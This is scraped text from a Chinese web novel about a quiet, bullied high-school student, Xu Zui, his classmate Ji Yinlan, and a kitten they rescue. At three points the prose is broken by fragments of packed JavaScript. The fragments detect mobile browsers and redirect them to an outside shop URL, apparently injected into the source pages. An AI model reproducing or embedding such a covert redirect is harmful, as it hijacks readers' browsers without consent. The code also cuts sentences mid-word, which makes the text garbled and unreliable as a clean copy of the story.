班主任显然有些不耐烦: “崔哲言在班里跟其他同学相处得都很好,怎么就跟你两天一小闹三天一大闹?在说他之前,你是不是先得反思一下自己的问题?你问问自己,你处理好同学关系了吗?真的,你的问题不止一个同学和老师跟我反映过,我自己也看在眼里,你看看别的同学哪有你这样子的?每天不跟同学交流也不跟老师交流,孩子,人生不止有读书学习,适当处理好同学关系也很重要。” 班主任喝了口茶润润嗓子,叹了口气才继续道: “崔哲言同学在这些事上可能是有点过分,但你就一点错也没有吗?不然他为什么不这样对别的同学,就只针对你一个人?嗯?” “……” 许最没有回答,但他能感觉到对面人凌厉的目光,这让他有点不自在。 手指上的书包带缠得更紧了些。 “周老师,你这话可不中听。” 正在许最为难时,旁边突然插进来另一道声音,许最和班主任同时朝声音来处看去,只见是牛猛从办公室角落站起了身,也不知道他坐在那里听了多久: “怎么了这是?是许最犯什么错误了?” 班主任周老师愣了一下,连忙堆起笑: “哎呦,牛主任,您在这啊,我都没发现。没什么事,就是许最这两天跟崔哲言闹了点矛盾,我正帮着调解呢。” “调解?哪有你这么调解的?就我知道的情况,是崔哲言在欺负人吧?你说说你们一班,丑事都传到人九班学生耳朵里了!” 牛猛撇着嘴角,模样像极了植物大战僵尸里的坏脾气倭瓜: “崔哲言什么情况?有人可是明明白白告诉我,他又是骚扰小女生,又是霸凌同班同学的,我原本还不信,但刚才听你话里的意思,这崔哲言欺负许最,是高一入学时就有的事了?” “哪有那么严重?您别听学生胡传。”周老师的笑有点僵硬: “什么霸凌啊,都是学生开开玩笑,打闹着玩,这个年纪的男孩子,你也知道。” “打闹?” 一道女声冷声反问: “有件事我记得挺清楚,上学期有次期中考后我想拿许最卷子讲题,结果拿到手的试卷皱皱巴巴脏兮兮破破烂烂,随口问一句,就是崔哲言带头的那帮男生在偷笑。这也是打闹?问了许最也不说,总不能是他故意把自己的满分卷子弄成那腌臜样的吧?” 开口的是牛猛旁边的女老师,她看起来三十多岁的样子,气质冷冽,打扮干净利落。 她是九班班主任于妙,同时也负责带一班的数学课,对一班的情况还算了解。 “你说说这孩子。”牛猛听了后,再看向许最时,一脸的不忍心: “受欺负怎么不说?你也这么大个小伙子了,受了气还真一口一口往肚子里咽啊?来,都有谁欺负你、他们都做过什么事,一起说出来,今天有老师给你出头撑腰,你别怕,只管说。” “……” 许最默默抬眼,视线在牛猛、于妙和周老师之间过了一轮。 牛猛的语气带着一丝鼓励: “受了什么委屈就说,想要什么样的结果也要说,只有你说出来,老师们才能帮你讨公道是不是?” 听起来倒像是在哄小孩子。 许最垂下眼,片刻,只低声道: “不要公道了。” “啊?” “我转班就好……” 显然,这个答案让三个老师都惊讶了一下。 牛猛更是觉得气闷,他用手指隔空点点周老师: “你看看,都把人家孩子逼得要转班了!” “没有……都是我的问题,不关任何人的事。” 许最又抬眸望了一眼周老师,再垂眸,只道: “周老师说得对,是我处理不好同学关系,不然,崔哲言同学为什么不针对别人,只针对我?” “不是……”牛猛一句纠正的话还没开口,就听许最继续道: “……老师,我知道我性格有缺陷,很多同学不喜欢我,老师也不喜欢我,与其继续留在一班让大家心里不痛快,不如我离开,离远点,大家眼不见心不烦。” 说着,许最瞄了一眼身边几位老师,顿了顿,又低头捏着手指,道: “这样的话,一班少了个不讨人喜欢的哑巴,崔同学也不用浪费时间跟我‘打闹’,周老师工作也轻松,不用再每天苦口婆心教我怎么样和同学相处、怎么样反思自己。大家的生活……都会比现在更好吧。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12714578|131445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “你别管。” “好,不管。” 许最乖乖点点头。 说完,他看着白瓷碗里大片大片的红油,也没多想,便抬手把碗往纪因蓝那边推了一点点,意思是让他放手操作。 “能吃辣吧?”下手前,纪因蓝友情询问一句。 “……能。”许最迟疑一瞬,点了点头。 然后他就看见纪因蓝抱着调料罐往面里添加了致死量的辣椒和麻油,还有相比起来完全可以忽略不记的其他调味料。 “……” 等那碗面再次回到许最这里,许最盯着碗里红到发黑的汤汁,陷入了沉思。 对面,纪因蓝已经拿起筷子大快朵颐,许最空咽一口,慢吞吞用筷子挑了两根面尝试着放进嘴里—— “咳咳咳——” 纪因蓝听见几声惊天动地的咳嗽,他吓了一跳,有那么一瞬间以为对面这人即将原地变异开启末日时代。 他抬眸看了一眼,就见许最捂着口鼻,耳朵通红,咳了好一阵才平复下来。 那之后,他也没再继续吃,只是拿着沾满红油的筷子,红着眼睛眺望某个方向,望眼欲穿。 “?”纪因蓝原本没多在意,直到他低头吃了几口面,再抬眼,许最还保持那个姿势没变,就像涂山脚下那块冰冷的望夫石。 纪因蓝这才没忍住,微一挑眉,顺着他的视线看了一眼。 被许最注视的角落里,阿婆正戴着老花镜坐在那里织毛衣,根本没有注意到许最灼灼的目光。 “你干嘛?你是许杜莎?试图用目光把阿婆变成石像然后接手这家小破店?”纪因蓝像看傻子一样望着他。 “……没有。只是试图得到酸梅汤。” 不知道是不是刚被辣椒呛到的原因,许最的声音有点哑。 “那你喊她啊,你在这睁着俩大眼睛绷到干眼症犯病她都不一定能看见。” “我……” 许最张了张口。 欲言又止止言又欲。 又闭上了。 纪因蓝翻了白眼。 他真不懂许最在别扭什么。 开口说个话很难吗??? 怎么,阿婆的名字是伏地魔吗不能喊出口??? 合着您一个人出去的时候都跟人打手语是吗??? 纪因蓝一瞬间就明白了扫码点单这项伟大发明存在的意义——拯救这种在外面屁都不敢放一个的社交恐惧症患者。 “阿婆——” 看不下去的纪因蓝挺身而出迈出了许最的一大步: “麻烦上一壶酸梅汤。” “要得。” 阿婆应了一声,放下毛衣,笑眯眯地端了一大壶冰镇酸梅汤送到他们桌上。 阿婆店里的酸梅汤都是她纯手工熬的,便宜大碗,几块钱的价格就给上了一整壶。 纪因蓝对酸梅汤没什么兴趣,他一口也没喝,就看着许最吃一口面再“吨吨吨”干掉一碗酸梅汤,照他这架势,一大壶冷饮很快就见了底。 最后,纪因蓝靠在椅子上,看着对面的许最,再看看他面前好不容易吃完的面、一滴不剩的饮料壶、还有成堆的卫生纸,陷入了沉思。 “你……”他试探着问: “你喜欢吗?” 许最又打了个喷嚏。 他抽走了纸巾盒里最后一张纸,擦擦眼角生理性的眼泪,眼圈耳朵鼻尖和嘴唇都红了,但还是坚强地哑着嗓子小声答了一句: “……喜欢。 “真的。” 22.022:三花猫 你最好是真喜欢。 纪因蓝看看可怜许最和他面前的半碗辣椒油,难免有点心虚。 他自己属于无辣不欢的那一类,很能吃辣,火锅一定要吃变态辣,平时吃烧烤吃面条也要在爆辣的基础上再多加辣。刚才许最说自己能吃辣,纪因蓝就放心给他加料了,如果跟他自己碗里的辣椒比,他给许最加的真不算多,但现在看来,许最似乎还是被辣得不轻。 虽然纪因蓝不相信哪个人会冒着被辣死的风险吃完一碗面,但他眼前这人毕竟是许最。 干掉一壶冰镇酸梅汤也要坚持把面吃完,绝不说一个“不”字。 就算辣得快死了也要擦干净眼泪哑着嗓子说“喜欢”。 如果是许最,那真不是没可能。 毕竟许最就是这种有什么话都要往肚子里咽的奇怪生物。 纪因蓝不确定许最是真的喜欢还是在强撑,他也不好问,毕竟就算他问了,许最也不一定答。 出了阿婆的店铺后,纪因蓝和许最一起沿着小吃街往外走。 等走到某处,纪因蓝突然让许最稍等,自己进了旁边某家店铺,回来时,手里还拿了杯果茶。 “给你。” 纪因蓝拿着一个粉色的奶茶杯朝许最晃晃: “草莓的,少冰少糖。” 许最像是有点意外,他看看纪因蓝手里的果茶,又看看他: “给我?” “嗯,不然呢?我旁边还有人?” 纪因蓝把草莓果茶塞到了许最手里: “辣椒是不是给你放多了?其实你觉得辣可以直接说,不用硬吃,你不难受吗?胃不烧吗?给,喝点解辣,应该能好些。” 说着,纪因蓝不知想到了什么,莫名笑了笑: “就是不知道,那么一大壶酸梅汤下肚,你还喝不喝的进去。” 许最微微垂下眼。 他看着手里的草莓果茶,不自觉抿了抿唇角。 “是有点辣。”许最低声应了一句。 顿了顿,他又补充道: “但我喜欢。” “喜欢就好。”纪因蓝说着,没忍住打趣一句: “但你这样吃辣,是不是对你治疗‘胃癌’不太好啊?能行吗?” “……” 许最不说话了。 他只默默插开奶茶杯,低头熟练地装鹌鹑。 纪因蓝看着他这样子,实在好笑。 脖子上的耳机还在放摇滚乐,纪因蓝把音量调大了一点,就算没规规矩矩戴在头上也够他听清耳机里的旋律。 夜晚的小吃街很吵,到处都飘着油烟味,但纪因蓝刚刚吃得很饱,现在对它们暂时没什么兴趣。 他跟许最一起走出了这片街区,从人声鼎沸满街飘香走入普普通通的清冷夜色。 “我从这拐,你家往哪走?” 纪因蓝指指几步开外的十字路口,问许最。 许最抬眸看了一圈周围,才指了个跟纪因蓝相反的方向。 “嗯,行,那……” 纪因蓝点点头,但一句话还没说完,他突然听见角落里传来一声微弱的: “喵——” 纪因蓝愣了一下。 他看向猫叫声传来的方向,是阴影下的一处垃圾堆。 为免乌龙,他还跟许最确认了一下: “你听见了吗?” “听见了。”许最点点头: “小猫叫。” “喵呜——” 这次,纪因蓝听清了。 “这地方还有猫啊。” 那声猫叫听着有点虚弱,还奶声奶气,应该还是只小猫崽。 纪因蓝也没多想,直接走向那片垃圾堆,边弯下腰努力地想看清里面的东西: “嘬嘬——喵——有猫吗?” 听见前两声,许最微微一怔,下意识抬眸看向纪因蓝,但很快他就反应过来,那人并不是在叫他。 纪因蓝没注意到许最这点小动作,他沉迷找猫,正摸黑伸手扒拉着垃圾堆旁边的纸箱,下一秒,一束光从身后打了过来。 纪因蓝愣了一下,回头看去,就见许最走近了点,手里的手机开着手电筒,灯光对着他的脚下。 对上他的眼神,许最似乎有点不自然,他晃晃手机: “给你一点光。” 听见这话,纪因蓝扬唇笑了。 他点点头: “行。谢了。” 小猫崽就在垃圾桶旁边那堆纸箱里窝着,并不难找。 纪因蓝检查了一下,发现纸箱里被人铺了软垫,还有几粒零碎的猫粮,说明这小猫并不是小流浪,而是被人故意遗弃在了这里。 许最挪开周围乱七八糟的纸壳,跟他一起看着纸箱里的小东西。 那是只长毛小三花,还是个小漂亮。 纪因蓝抬手把猫崽抱了起来,他动作很温柔,猫崽并没有挣扎。 “呦呦呦。” 纪因蓝抱着猫崽晃一晃,不自觉学着动画片里人物的声线,哄小孩似的道: “你怎么也被丢在垃圾桶里啦?” 许最听见这话,愣了一下。 他偏头看着纪因蓝的侧脸: “也?” “啊?” “你……以前捡过别的小猫?” “哦,猫没有。”纪因蓝顿了顿,才想起来许最并不知道有关他的事。 他笑了一声,随口解释道: “但我是我姐从垃圾桶里捡来的。” 纪因蓝说这话的语气很平淡,就像是在跟许最讲今天中午吃了什么,边说还不忘逗逗手里的小三花。 但许最却稍作沉默:
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12727219|131445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “……抱歉。” “这有什么好抱歉的?”纪因蓝有点奇怪地看了他一眼: “这又不是什么秘密,很多人都知道。这对我来说,不是什么提不得的事。” 手里的小三花很乖,刚才还嗷嗷乱哭呢,但被纪因蓝捧起来之后,就没再叫过了。 “啧,这小东西,天还没彻底回暖,它这么小,自己估计活不下去。” 纪因蓝用手指逗逗它,边问身边的人: “哎,许最,你家缺猫吗?” “嗯?”许最愣了一下,才答: “不缺……吧。” “哦,这猫崽太小了,得给它找个家。”纪因蓝解释道。 “……”许最点点头,目光落在纪因蓝漂亮的手指骨节,还有他手里的小猫。 也不知想到了什么,他微微皱了皱眉,而后垂下眼,再开口时,声音低了很多: “……我家里,不好养这些。” “也是,你爸妈管得很严吧?”纪因蓝看着他,笑了一声: “与学习无关的东西一律禁止那种?但我看你弟又跟你完全不一样。怎么,他们只军训你,不管你弟啊?” “……也不是。”许最抿抿唇,可能是不想继续这个话题,他并没有没多解释。 纪因蓝不怎么在意,他只另道: “对了,我其实还特好奇一件事。” “嗯。” “你经常去那家黑网吧?就我们上次一起去的那家,我看那光头老板跟你还挺熟。你去网吧都干什么?打游戏?不会是刷题吧?” “谁会去黑网吧刷题?” 许最真诚询问。 纪因蓝一噎,一时分不清他是真好奇还是在阴阳怪气。 不过很快,许最就解释道: “不刷题。房间里没有电脑,家里人也不让玩游戏,只能出去找地方。” 纪因蓝之前就猜过这情况是不是跟许最家里人有关,没想到还真是。 “但你怎么找到那地方的?丁逸逍都不知道的地方,居然能被你找到。” “嗯。”许最垂着眼: “因为已经去很多年了。五年前吧……忘了。那时候年龄太小,很多黑网吧都不让进,找了很久,问了很多家,只有那家可以,就一直去到现在。” “五年前?!” 听见这个时间,纪因蓝吓了一跳: “你真是烈焰圣杯骨灰玩家啊?我都不一定有你玩的久。五年前你小学毕没毕业?从五年前玩到现在?你这么喜欢这游戏?” “嗯……” 许最缓慢地眨了眨眼。 他看了纪因蓝一眼,不过很快就挪开视线,只垂眼看着地面,有些不自然地摸了摸耳朵,唇角那点上扬的弧度像是一个不大明显的笑: “……很喜欢。” 23.023:夜湖 “我也玩了五年了。” 纪因蓝把纸箱里的软垫拿出来,裹在小三花身上,把它抱了起来。 “不过我比你好点,我姐不怎么管我,除了我想退学那阵,她基本没怎么为游戏说过我。” “……为什么?”许最看着他。 “什么?” 停顿片刻,许最才继续问: “为什么要退学?” 纪因蓝可以大大方方告诉别人自己跟纪四余的关系,却不太想细说这段往事。 他从地上站起身,只模糊道: “嗐,人生在世,难免遇到点贱人贱事。行了,你不是还得回家?去吧,我带这小崽子去趟宠物医院。” 说着,纪因蓝把小三花和它的软垫往臂弯里一夹就打算走,但很快,他就听见许最在他身后唤他的名字。 “纪因蓝。” 许最语速很慢,显得有点温柔。 “嗯?”纪因蓝愣了一下,回头看向他。 许最关掉了手机手电筒的灯光,整个人站在路边前后两盏路灯的中间,身上沾不到一点光。 纪因蓝觉得他在某一瞬间,真的很…… 时间太短,他找不到词来形容。 “我能不能跟你一起去?” 在纪因蓝出神的那一秒,许最说完了后一句话。 “想一起就走呗?”纪因蓝听着好笑: “我又没有绑你脚。不过……” 他抬头看了看天色: “你家没有门禁吗?你这么晚回去,你家里人乐意吗?” “嗯。”许最走到了他身边,垂着眼,淡淡道: “他们可能觉得我在自习室。” 纪因蓝看了他一会儿,听见这话,他不自觉弯起唇角,收回了视线。 他发现,许最这个人,似乎跟他想象中有点不一样。 纪因蓝原本以为这家伙是那种最最典型的乖乖仔,是只知道看书学习的书呆子,本本分分从不违反任何地方的规则,是让家长老师省心的小孩,是所有人口中的“别人家的孩子”,除了情商有点低还特别不爱说话,应该就没有其他缺点了。 但现在看来,他似乎也不是那样的。 说他乖吧,他天天大老远往黑网吧跑,大半夜不回家假装自己在自习室学习。说他只会学习吧,他看起来又很爱玩游戏,玩得还很好,当然,后面这点,纪因蓝到现在也没有彻底相信。 柳湖公园附近就有一家宠物医院,小三花的检查做得很顺利,医生说它只有点耳螨,其他没什么大问题,总体来说还是只健康小猫。但宠物医院不提供寄存和寻找领养的服务,纪因蓝联系了几家宠物店也不太方便,没办法,他最后只能临时买一堆猫猫用品,带着小三花先回家。 纪因蓝抱着猫,许最则拎着他拿不下的大包小包跟在他身边。可能是觉得把人当苦力实在过意不去,在分别前,纪因蓝去甜品店买了两支冰激凌,跟许最坐在一起吃。 他们又回到了柳湖公园,夜深了,公园里的人并没有傍晚时那样多,只有稍远些的地方能听见音响里传来的广场舞音乐,路过的风有点凉,却带着湖水清新的味道。 “这天气吃冰激凌可能有点早了,但你可是零下天气生嚼冰块的人,我觉得你不会介意。” “嗯?”许最可能是没反应过来,等意识到纪因蓝在说什么,他默默垂下眼: “没……” “所以你为什么要吃冰块?不会真是为了把自己弄哑好逃避那场演讲吧?” 纪因蓝是真的好奇。 “……”许最沉默片刻,才答: “算是吧……” “为什么?” “……就,不习惯在那么多人面前说话。” 许最的声音总带着一点冷冷清清的调子,有时候显得很拽莫名讨人厌,但有时候稍稍拖着尾音,语速放慢,又让人觉得软绵绵的,很温柔,像是只踩在棉花糖上的兔子。 “那你直接拒绝不行吗?”纪因蓝看着湖面上映出的灯光和星星,随口道: “不想上,就直接跟老牛说你不乐意上。老牛那人虽然看着死板严肃,但你要真不愿意,他也不会拿麻绳给你绑上去。” 许最没有应声,只低着头,无意识地捏着自己的手指,许久才回了一句: “嗯……我知道。” “怎么,觉得‘我不想’这三个字很难?” 纪因蓝从来没在社交和交流上磕过绊子,所以不太能理解许最的脑回路: “说实话,我还是第一次见你这样的人。你到底是不喜欢说话,还是别的什么理由?人养成某种特质,总得有点原因吧,你看陆珏多能说啊?一个人都能在那叭叭一小时。” “……”许最彻底没声了。 想想也是,纪因蓝有不愿意跟别人分享解释的事情,其他人自然也有。 所以,他没有继续这个话题,只抱着怀里的小三花,轻轻捏起他的前爪跟许最晃晃: “行了,时间差不多了,我走了。来,小三花,跟这哥哥说再见。” 小三花不知是不是听懂了纪因蓝的话,还真奶声奶气地朝许最叫了一声。 许最垂眼看着它,也认真回了一句: “再见。” “你摸摸它呗,它老想蹭你。” 纪因蓝看着小三花的动作,随口道。 许最没有说话。 他只望着纪因蓝手里的小东西,眸色在夜色的映衬下显得有些深。 片刻,他垂下的手微微动了动,可很快就缓缓蜷起了手指。 “……不了吧。” “哟,有人嫌弃你。” 纪因蓝抱着小三花笑了两声,也没多在意,只把小三花装回了刚买的猫包里。 他背着猫包,拎起自己给小三花买的东西,朝许最挥挥手: “走了,周一见!” 许最点了点头。 他一个人坐在湖边的台阶上,一直看着纪因蓝走远,等他的背影彻底从他视野中消失才收回目光。 他垂眸看向自己的手心。 因为刚才太过用力,他的手心被自己的指尖捏得有些泛红。 许久,他才收回手,无声地叹了口气,抬眼看向面前随着风动微起涟漪的湖面。 小猫。 暖的。 毛茸茸的。 会受到伤害的。 - 周一,深受九班同学爱戴的语文老师福团用两节连堂课和一节自习为她亲爱的同学们带来了一场突击考试,题量和时间都按正规考试走,没有逃避的余地。 对其他同学来说,语文考试怎样都要比其他三门好过一点,对于纪因蓝说却不是。 他发誓,他真的努力过,但他还是在编完阅读题之后进入了梦乡,虽然中途被许最戳醒几次,但在他由着起床气发作恶声恶气地对许最说一句“少管我”之后,世界就彻底清净了。 一觉醒来,试卷已经被旁边人抽走上交,如果不是丁逸逍和陆珏喊纪因蓝起来吃饭,那他还真可能直接睡过这个午休。 纪因蓝迷迷糊糊趴起来看了一眼边上空荡荡的座位,揉着眼睛随口问: “许最人呢?” “他交完卷子就走了。找他干什么?”丁逸逍捞着纪因蓝的胳膊把人拽起来: “他不是一直不跟咱一起吃午餐?走走走,大道消息,今天食堂有辣子鸡。我已经叫闪姐给咱占位了。” 听见“辣子鸡”,纪因蓝才来了点精神。 他们走得晚,等到了食堂,楼内三层基本都已经被攻占,走在里面几乎是人挤人。 丁逸逍走在前面找姜闪闪的位置,纪因蓝和陆珏走在后面,过了一会儿,陆珏像是突然想起了什么,问: “蓝,我看你昨天发的朋友圈,你家还养猫了?小三花,怪漂亮,什么时候让我过去撸一把。” “行啊,随时。”纪因蓝提起这事就想笑: “刚养的,属于一个先斩后奏,我姐出差回来看见家里多了个毛团子,差点没跳起来。” “啊?”陆珏也跟着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12739922|131445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑了: “小四姐不喜欢小猫小狗?” “说不上喜欢,也说不上讨厌。总之,在我晓之以理动之以情泪声俱下感人肺腑的演讲下,如果没人想领养,那猫崽以后就是我家的了。” “哪来的啊?捡的?” “嗯。” 纪因蓝点点头: “在柳湖公园后门那块,跟许最一起捡的。” “许最?” 陆珏有点意外: “你还能跟他凑到一块?” “怎么了?”纪因蓝听着好笑: “看我俩八字不合啊?” “差不多吧,说实话,我本来以为你不太喜欢他呢。毕竟你们俩……” 陆珏努力找着合适的形容词: “你俩太不一样了。” “正常,世界上没有哪两个人是一样的。” 说着,纪因蓝抬眼看看前面: “丁子呢?怎么说两句话的功夫就跑没影了。” 他看着食堂里那一堆人头,正找着丁逸逍和姜闪闪,但环视到一半后,他目光突然一顿。 “你等等。” 他抬手拦住往另一个方向走的陆珏: “我怎么看着……” “什么?”陆珏不知道他看见了谁。 纪因蓝没解释,他只微微眯起眼睛,朝角落里一张桌子走去。 他看见许最一个人坐在那,而许最对面的人则是一个带着诡异的欠揍气质的人。 等再走近点,纪因蓝确定了,那家伙的确是崔哲言。 许最怎么又跟崔哲言凑一起去了?光看个背影,纪因蓝都能想象到那货脸上油腻又狂妄的笑。 看来这人记性不太好,这才多久,又逮着许最在欺负。 许最也是,忍得了这么个瘪三三番两次在他面前跳,看来辱骂别人在他那里的难度跟拒绝挂着同一档高度。 食堂里太吵,他们具体说了什么,纪因蓝没有听清,他只看见崔哲言在那叭叭叭,而许最一言不发地盯着他看。 许最的长相其实挺冷,单眼皮,五官很和谐,搭配在一起很好看,并不是浓烈的长相,反而像杯清淡的茶,没表情的时候因为身上那点阴郁气,显得有点凶,不好招惹。 比如他现在盯着崔哲言的时候,额前发丝的影子落在眼睛里,显得眸色很沉,好像下一秒就得要了崔哲言的狗命。 纪因蓝很少见到这种感觉的许最,毕竟平时这人待在他身边,不总跟他对视,很多时候都垂着眼,像个受气的小可怜。 他不自觉把脚步放慢了点,想看看许最到底多久能注意到自己。 但许最看崔哲言看得太认真了,以至于崔哲言的背影越发嚣张,声音也越来越大,纪因蓝已经能在吵闹的食堂里听见他那讨人厌的声音和语气,很快,他一拍桌子: “我他妈忍你很久了,你他妈看什么看?!老子脸上有姜闪闪吗?!” 他周围的人安静一瞬,都被这动静吸引了注意,朝他们的方向看去。 纪因蓝没多想,他不可能让许最在这受这鸟气,他正想走过去让姓崔的闭嘴,但在那之前,他注意到许最开了口: “没有。但你……” 纪因蓝微一挑眉。 哟,太阳打西边出来了?哑巴不堪受辱要奋起反击了? 让我来听听你顶着这张拽脸能说出个什么。 抱着这样的想法,纪因蓝全神贯注地聆听许最的后半句话。 然后他就看见那哥盯着崔哲言,片刻后默默挪开了视线,依旧冷着一张脸,语气却无比真诚。 也无比欠揍。 用方圆五排人都能听到的音量咬字清晰掷地有声道: “你好像有颗大蛀牙。” “……” 他视线望着窗外,回避对面人要杀人的目光,用手指戳了戳自己脸颊: “在这。” “?” 合着您那么认真是挨着骂坐这给人找蛀牙呢? 纪因蓝是真没绷住他妈的。